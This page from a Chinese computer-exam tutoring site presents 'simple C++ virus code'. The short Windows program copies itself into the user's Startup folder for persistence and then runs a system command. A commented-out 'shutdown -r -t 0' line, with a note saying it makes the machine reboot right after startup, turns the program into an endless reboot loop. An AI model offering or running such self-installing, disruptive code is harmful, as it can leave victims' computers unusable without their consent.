当前所在位置:珠峰网资料 >> 计算机 >> 计算机等级考试 >> 正文
计算机二级辅导:简单的C++病毒代码
发布时间:2010/1/6 8:40:47 来源:城市学习网 编辑:海蓝

  #include "windows.h"

  #include "stdio.h"

  void main(int argc,char * argv[])

  {

  //printf("%s\n",argv[i]);

  char copy[80];

  sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);

  system(copy); //将这个程序拷到开机启动文件夹下面

  //char cmd[]="shutdown -r -t 0";//自动重起

  char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!

  system(cmd);

  system("pause");

  }

广告合作:400-664-0084 全国热线:400-664-0084
Copyright 2010 - 2017 www.my8848.com 珠峰网 粤ICP备15066211号
珠峰网 版权所有 All Rights Reserved